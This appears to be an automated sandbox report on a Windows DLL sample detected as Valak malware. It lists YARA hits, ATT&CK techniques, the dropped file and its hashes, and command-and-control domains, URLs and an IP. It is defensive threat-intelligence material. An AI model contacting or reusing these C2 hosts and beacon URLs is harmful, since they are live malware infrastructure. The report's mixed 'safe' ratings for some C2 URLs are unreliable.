Source: Yara match	File source: 00000003.00000003.535269013.0000000001190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.769445270.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.663643714.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.768676273.0000000000708000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.768788534.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 3680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 4252, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\iVIwVADQD.eLxan, type: DROPPED

Remote Access Functionality

Yara detected Valak

Source: Yara match	File source: 4.3.rundll32.exe.334a950.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.b0a950.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.334a950.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.119a950.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.119a950.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.b0a950.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.535269013.0000000001190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.769445270.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.663643714.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.768676273.0000000000708000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.768788534.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 3680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 4252, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\iVIwVADQD.eLxan, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	111 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	13 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Scripting	NTDS	2 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Rundll32	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Software Packing	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

No bigger version

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
draw.dll	83%	ReversingLabs	Win32.Worm.Cridex
draw.dll	76%	Virustotal		Browse
draw.dll	100%	Avira	TR/Kryptik.ytszl
draw.dll	100%	Joe Sandbox ML

Domains

Source	Detection	Scanner	Link
knockoutlights.com	13%	Virustotal	Browse
a-zcorner.com	9%	Virustotal	Browse
organicgreensfl.com	6%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://a-zcorner.com/	100%	Avira URL Cloud	malware
http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Z259a3	100%	Avira URL Cloud	malware
http://d0d0f3d189430.com	100%	Avira URL Cloud	malware
http://organicgreensfl.com/rpc.aspx?winrm=2387&view2=classic&regclid=b2Z1Y309Q0JUTFNIVyowNjFTMDA2PUN	0%	Avira URL Cloud	safe
http://organicgreensfl.com/	0%	Avira URL Cloud	safe
http://organicgreensfl.com	0%	Avira URL Cloud	safe
http://knockoutlights.com	100%	Avira URL Cloud	malware
http://organicgreensfl.com/rpc.aspx?winrm=2387&view2=classic&regclid=	0%	Avira URL Cloud	safe
http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Y2p5b3	100%	Avira URL Cloud	malware
http://d0d0abee1d18255e.comXN	0%	Avira URL Cloud	safe
http://a-zcorner.com	100%	Avira URL Cloud	malware
http://d0d0abee1d18255e.com	100%	Avira URL Cloud	malware
http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJJVisxNzBSMTE3PEJDVU1SSVYrMTcwUjExNzxgZ2p1Yzw0MGM1YDU1NDxrZ2I0Pzw1NDwyNT81&client=tarbneghyrdfwglztdpcknpjvzxbxtm&service_id=FE05211&ubwG=payxcvavvogx	100%	Avira URL Cloud	malware
http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bGV2YH4%2BQEFXT1BLVCkzNTJQMzM1Pk	100%	Avira URL Cloud	malware
http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Y2p5b3ExT05YQF9EWyY8Oj1fPDw6MU9OWEBfR	100%	Avira URL Cloud	malware
http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Z259a3U1S0pcRFtAXyI4PjlbODg%2BNUtKXER	100%	Avira URL Cloud	malware
http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=b	100%	Avira URL Cloud	malware
http://organicgreensfl.com/he	0%	Avira URL Cloud	safe
http://organicgreensfl.com/rpc.aspx?winrm=2387&view2=classic&regclid=YWh7bXMzTUxaQl1GWSQ%2BOD9dPj44M	0%	Avira URL Cloud	safe
http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJJVisxNzBSMTE3PEJD	100%	Avira URL Cloud	malware
http://msnbot-207-46-194-33.search.msn.com5	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
knockoutlights.com	207.148.248.143	true	true	13%, Virustotal, Browse	unknown
ec.atdmt.com	unknown	unknown	false		high
msnbot-207-46-194-33.search.msn.com	unknown	unknown	false		high
organicgreensfl.com	unknown	unknown	false	6%, Virustotal, Browse	unknown
a-zcorner.com	unknown	unknown	true	9%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJJVisxNzBSMTE3PEJDVU1SSVYrMTcwUjExNzxgZ2p1Yzw0MGM1YDU1NDxrZ2I0Pzw1NDwyNT81&client=tarbneghyrdfwglztdpcknpjvzxbxtm&service_id=FE05211&ubwG=payxcvavvogx	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ec.atdmt.com/rpc.aspx?winrm=2387&view2=classic&regclid=ZG1%2Ba	wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	false		high
http://organicgreensfl.com/rpc.aspx?winrm=2387&view2=classic&regclid=b2Z1Y309Q0JUTFNIVyowNjFTMDA2PUN	wscript.exe, 0000000C.00000002.769679607.00000000051D0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://d0d0f3d189430.com	wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	false	Avira URL Cloud: malware	unknown
http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Z259a3	wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://a-zcorner.com/	wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ec.atdmt.com/194-33.search.msn.com/	wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://msnbot-207-46-194-33.search.msn.com	loaddll32.exe, 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769445270.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	false		high
http://organicgreensfl.com/	wscript.exe, 0000000C.00000002.769378758.000000000089F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://msnbot-207-46-194-33.search.msn.com/rpc.aspx?winrm=2387&view2=	wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	false		high
http://organicgreensfl.com	wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	true	Avira URL Cloud: safe	unknown
http://d0d0abee1d18255e.comXN	wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ec.atdmt.com/rpc.aspx?winrm=2387&view2=classic&regclid=ZG1%2BaHY2SElfR1hDXCE7PTpYOzs9NkhJX0dY	wscript.exe, 00000010.00000002.769718218.00000000051A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769249439.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://knockoutlights.com	wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	true	Avira URL Cloud: malware	unknown
http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Y2p5b3	wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://organicgreensfl.com/rpc.aspx?winrm=2387&view2=classic&regclid=	wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769499595.0000000004B31000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769524971.0000000004BB1000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://a-zcorner.com	wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	true	Avira URL Cloud: malware	unknown
http://ec.atdmt.com/	wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://d0d0abee1d18255e.com	loaddll32.exe, 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	false	Avira URL Cloud: malware	unknown
http://msnbot-207-46-194-33.search.msn.com/rpc.aspx?winrm=2387&view2=classic&regclid=Y2p5b3ExT05YQF9	wscript.exe, 00000010.00000002.769718218.00000000051A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769249439.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://msnbot-207-46-194-33.search.msn.com/rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJ	wscript.exe, 0000000C.00000002.769105699.0000000000841000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753900638.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769313214.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753950766.0000000000849000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769679607.00000000051D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ec.atdmt.com/rpc.aspx?winrm=2387&view2=classic&regclid=YGl6bHIyTE1bQ1xHWCU%2FOT5cPz85MkxNW0Nc	wscript.exe, 0000000C.00000003.753900638.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769313214.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ec.atdmt.com/W	wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bGV2YH4%2BQEFXT1BLVCkzNTJQMzM1Pk	wscript.exe, 00000010.00000002.769718218.00000000051A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769249439.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Y2p5b3ExT05YQF9EWyY8Oj1fPDw6MU9OWEBfR	wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769679607.00000000051D0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://msnbot-207-46-194-33.search.msn.com/G	wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ec.atdmt.com/rpc.aspx?winrm=2387&view2=classic&regclid=YGl6bHI	wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp	false		high
http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Z259a3U1S0pcRFtAXyI4PjlbODg%2BNUtKXER	wscript.exe, 00000010.00000002.769718218.00000000051A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://msnbot-207-46-194-33.search.msn.com/	wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=b	wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://organicgreensfl.com/he	wscript.exe, 0000000C.00000002.769056047.000000000082B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://organicgreensfl.com/rpc.aspx?winrm=2387&view2=classic&regclid=YWh7bXMzTUxaQl1GWSQ%2BOD9dPj44M	wscript.exe, 00000010.00000002.769718218.00000000051A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://ec.atdmt.com	wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	false		high
http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJJVisxNzBSMTE3PEJD	wscript.exe, 0000000C.00000002.769378758.000000000089F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://msnbot-207-46-194-33.search.msn.com5	wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
207.148.248.143	knockoutlights.com	United States		29873	BIZLAND-SDUS	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756451
Start date and time:	2022-11-30 08:54:12 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 4s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	draw.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@12/1@10/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .dll Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, wermgr.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, WmiApSrv.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 152.199.19.161
Excluded domains from analysis (whitelisted): fs.microsoft.com, atlasdmt.vo.msecnd.net, az361816.vo.msecnd.net, cs9.wpc.v0cdn.net
Execution Graph export aborted for target loaddll32.exe, PID 5220 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 6128 because there are no executed function
Execution Graph export aborted for target wscript.exe, PID 3680 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:57:25	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

Created / dropped Files

C:\Users\Public\iVIwVADQD.eLxan

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	23564
Entropy (8bit):	5.438761228660278
Encrypted:	false
SSDEEP:	384:dJrMlicWXPzLMW7FhSci6kzRcZsHapJrMlicWXPzLMW7FhSci6kzRcZsHar:dEijPzLpSc2RcZsHapEijPzLpSc2RcZV
MD5:	AC601D9D01A57918D277C8C95CF9C27D
SHA1:	AED1F0882ABCBC5B733967049530F408AA1D5AE7
SHA-256:	3A74B66A731DBA8D16495903F7E995FDA63E3EF5DF475775D739123ADD501E0D
SHA-512:	A8C93D2D279550573D8E5608E2B9F0A636751B29252EF1E2AE5EAD3B288B8C79F6550719048822436D62A2FA75C83A02CE02DFA0C1274E7F4612FB79C4F6DDA9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: C:\Users\Public\iVIwVADQD.eLxan, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: C:\Users\Public\iVIwVADQD.eLxan, Author: ditekSHen
Reputation:	low
